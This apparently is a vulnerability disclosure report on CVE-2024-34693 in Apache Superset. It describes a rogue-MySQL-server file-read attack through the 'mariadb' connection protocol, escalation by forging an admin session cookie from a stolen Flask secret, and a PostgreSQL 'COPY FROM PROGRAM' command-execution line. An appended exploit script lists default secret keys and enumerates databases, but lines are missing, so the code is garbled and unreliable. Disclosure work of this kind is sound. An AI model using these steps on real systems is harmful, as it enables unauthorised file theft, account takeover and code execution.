Apache Superset - CVE-2024-34693
Apache Superset - CVE-2024-34693
Version 3.1.1
Environment:
- Apache Superset 3.1.1
- Docker
Setup:
In order to setup the environment on an Ubuntu Linux machine with Docker Compose
installed the following command were run:
git clone https://github.com/apache/superset.git
cd superset
export TAG=3.1.1
docker compose -f docker-compose-image-tag.yml up
Findings:
1. CVE-2024-34693: Server Arbitrary File Read
Description:
The “mariadb” protocol in Apache Superset is not protected against the “local_infile”
parameter. This can be leveraged by attackers with the ability to create arbitrary database
connections in order to launch “LOAD DATA LOCAL INFILE” (Rogue MySQL Server) attacks
resulting in the reading of arbitrary files on the target.
Note: By exfiltrating sensitive information from the application an attacker may be able to
perform additional actions such as:
• Escalate privileges in the Apache Superset application by exfiltrating the Flask secret
• Obtain Remote Code Execution on the database if a PostgreSQL DB is used
Proof of Concept:
Unlike the “mysql” protocol, which has protections preventing the creation of DB
connections with the “local_infile” parameter present in the connection URL, the “mariadb”
protocol does include these protections.
In order to bypass this an attacker can simply switch from the “mysql” protocol to the
“mariadb” protocol, that uses the same MySQL Driver, but does not enforce the
“local_infile” protection.
In order to directly exfiltrate the contents of arbitrary files via the “mariadb” connection, we
can use “Bettercap’s Rogue MySQL Server”1 feature to automate this process.
1
https://www.bettercap.org/modules/ethernet/servers/mysql.server/
After the Rogue MySQL server is set and started, once the DB connection is made from
Apache Superset, the content of the desired file will be automatically exfiltrated:
Note: In this case the content of the “/etc/passwd” file from the “superset_app” docker
container has been exfiltrated.
From here an attacker may leverage this Arbitrary File Read vulnerability in order to:
1.1. Escalate Privileges in Apache Superset by exfiltrating the Flask secret:
Note: This attack is relevant only in the scenario in which a non-administrative user
was used in order to create arbitrary DB connections, or in order to obtain a
persistent authentication method in the application even if the admin password is
changed.
Now, by taking the exfiltrated Flask Secret we can use it to craft a valid administrative
cookie for the Superset application.
Note: In this case we have reused the code from horizon3ai’s “CVE-2023-27524:
Apache Superset Auth Bypass”2 to generate a valid administrative cookie using the
exfiltrated secret.
Note 2: The python code for “CVE-2023-27524.py” can be found in the appendix
section.
2
https://github.com/horizon3ai/CVE-2023-27524
1.2. Obtain Remote Code Execution on the PostgreSQL DB:
Note: This attack is relevant only in the scenario in which a PostgreSQL DB is used
and setup in the environment of the target.
From here, if all the above steps were performed correctly, we should be able to
execute system command on the DB via the following SQL command:
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM
PROGRAM 'id';SELECT * FROM cmd_exec;
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET', # docker compose
b'ITS_NOT_A_SECRET_IF_EVERYBODY_KNOWS_IT'
]
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance',
required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1',
required=False, default='1')
parser.add_argument('--validate', '-v', help='Validate login', required=False,
action='store_true')
parser.add_argument('--timeout', '-t', help='Time to wait before using forged
session cookie, default=5s', required=False, type=int, default=5)
args = parser.parse_args()
try:
u = args.url.rstrip('/') + '/login/'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0)
Gecko/20100101 Firefox/101.0'
}
session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break
if not session_cookie:
print('Error: No session cookie found')
return
try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return
if not cracked:
print('Failed to crack session cookie')
return
try:
user_id = int(args.id)
except:
user_id = args.id
if args.validate:
validated = False
try:
headers['Cookie'] = f'session={forged_cookie}'
print(f'Sleeping {args.timeout} seconds before using forged cookie to
account for time drift...')
sleep(args.timeout)
resp = requests.get(u, headers=headers, verify=False, timeout=30,
allow_redirects=False)
if resp.status_code == 302:
print(f'Got 302 on login, forged cookie appears to have been
accepted')
validated = True
else:
print(f'Got status code {resp.status_code} on login instead of
expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
except Exception as e_inner:
print(f'Got error {e_inner} on login instead of expected redirect 302.
Forged cookie does not appear to be valid. Re-check user id.')
if not validated:
return
print('Enumerating databases')
for i in range(1, 101):
database_url_base = args.url.rstrip('/') + '/api/v1/database'
try:
r = requests.get(f'{database_url_base}/{i}', headers=headers,
verify=False, timeout=30, allow_redirects=False)
if r.status_code == 200:
result = r.json()['result'] # validate response is JSON
name = result['database_name']
print(f'Found database {name}')
elif r.status_code == 404:
print(f'Done enumerating databases')
break # no more databases
else:
print(f'Unexpected error: status code={r.status_code}')
break
except Exception as e_inner:
print(f'Unexpected error: {e_inner}')
break
except Exception as e:
print(f'Unexpected error: {e}')
if __name__ == '__main__':
main()